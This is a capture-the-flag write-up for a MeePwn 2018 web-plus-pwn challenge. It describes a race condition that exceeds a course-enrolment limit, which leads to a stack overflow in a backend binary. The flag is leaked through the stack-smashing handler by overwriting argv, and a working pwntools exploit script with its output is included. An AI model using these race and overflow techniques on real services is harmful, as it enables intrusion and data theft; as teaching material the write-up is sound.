Tags: pwntools ssp race-condition misc pwn web 

Rating: 5.0

This is an interesting web+pwn challenge in the misc category. We are initially given a webapp where we can register an account to receive a unique token. Once logged in with the registered account, we can enroll in upto three badminton 'courses'. The number of courses enrolled is updated in a database. Once we log out, we are redirected to `/`. Here we have two interesting files, `TODO.txt` and `backend_server`. The `backend_server` binary is the 'pwn' part of the challenge. The `TODO.txt` file contains the IP and port to use to connect to this `backend_server` app in the server.

Under normal circumstances, we should not be able to enroll in more than three courses from an account. But what happens when you have two simultaneous sessions for an account? As it turns out, the three-course limit is enforced for each of those individual sessions, and not for the account as a whole. This is the result of a classic time of check to time of use (TOCTOU) race condition bug. While we don't have the source code, it seems like the application checks the number of courses enrolled so far at login only, and not while updating the database at the user's enrolment request. To exploit this bug, simply open two browsers, login to the same account from each browser, and just enroll in three courses in both of them to have six enrolments for the account in total:
[Screenshot](https://imgur.com/a/h1UUVfl)

But how is this useful to us? As we shall see next, this can be used to cause a stack buffer overflow in `backend_server`.

The `backend_server` connects to the database used by the webapp and retrieves and uses some data for a given account token. This data includes the number of courses enrolled. For every course enrolled (upto 100), it asks the user to enter a name for the course:
```
strcpy(&dest, "SELECT * FROM users WHERE token='%s'");
v3 = &sqlquery;
snprintf(&sqlquery, 0xFFuLL, &dest, buf);
if ( !(unsigned int)mysql_query(::result, &sqlquery) )
{
result_struct = mysql_store_result(::result);
if ( result_struct )
{
if ( (signed int)mysql_num_rows(result_struct) > 0 )
{
row = (const char **)mysql_fetch_row(result_struct);
col0 = atoi(*row);
col1 = (__int64)strdup(row[1]);
numOfCourses = atoi(row[4]);
if ( (unsigned int)numOfCourses > 0x64 )
numOfCourses = 100;
if ( numOfCourses )
{
for ( j = 0; j < numOfCourses; ++j )
{
printf("#%d Oh I heard that you already enrolled a course\n", j);
v3 = &courseNameBuf[1024 * (signed __int64)(signed int)j];
printf("What is the course name?> ");
read(0, v3, 1024uLL); // stack buffer overflow when courses > 3
}
}
```
These names are however stored in a stack buffer (`courseNameBuf`) of limited size that can only hold upto three names (each of size 1024 bytes). This is where the web bug comes to play. If we have more than three courses enrolled, we can smash the stack with the name of the courses we enter. Arbitrary code execution is not required as the flag is already loaded into memory at a static bss adddress. The binary however has SSP enabled. If we could find a way to leak the stack canary, we could have tried to jump to a `printf`/`puts` call with `rdi` pointing to the flag.

However, we failed to find a way to leak the canary. After wasting some time, we realized that an easier solution would be to instead overwrite the `argv` pointer that lies further up in the stack. We don't know its exact offset in the stack, so we just blindly smash everything (worth 3072 bytes of course name data). We overwrite everything in our way with the address of `flag` (0x604070). After this the program can be used to do some dummy actions which include `give_up`, which does some cleanup and tries to exit by returning from `main`. So we simply 'give up' after this and as the program tries to return from `main`, the stack canary check fails. Because of the failure, the SSP tries to use the `argv` pointer to print the program's name and a stacktrace before exiting. However as it is overwritten with the address of `flag`, it spews out our flag from memory instead, right before dying.

The exploit is really simple:
```
from pwn import *

TOKEN = 'YOUR_64_CHAR_TOKEN_FOR_AN_ACCOUNT_THAT_HAS_SIX_COURSES_ENROLLED'
FLAG_ADDR = 0x604070

p = remote('178.128.84.72', 9997)
p.sendafter('> ', TOKEN)
p.sendafter('> ', 'A')
p.sendafter('> ', 'A')
p.sendafter('> ', 'A')
p.sendafter('> ', p64(FLAG_ADDR)*128)
p.sendafter('> ', p64(FLAG_ADDR)*128)
p.sendafter('> ', p64(FLAG_ADDR)*128)
p.sendlineafter('> ', '3')

print p.recvall()
p.close()
```

Running it we get:
```
[email protected]:/vagrantdata/meepwn2018/badminton# python exploit.py
[+] Opening connection to 178.128.84.72 on port 9997: Done
[+] Receiving all data: Done (97B)
[*] Closed connection to 178.128.84.72 port 9997
*** stack smashing detected ***: MeePwnCTF{web+pwn+oldschool+stuff+stack+terminated}
terminated

```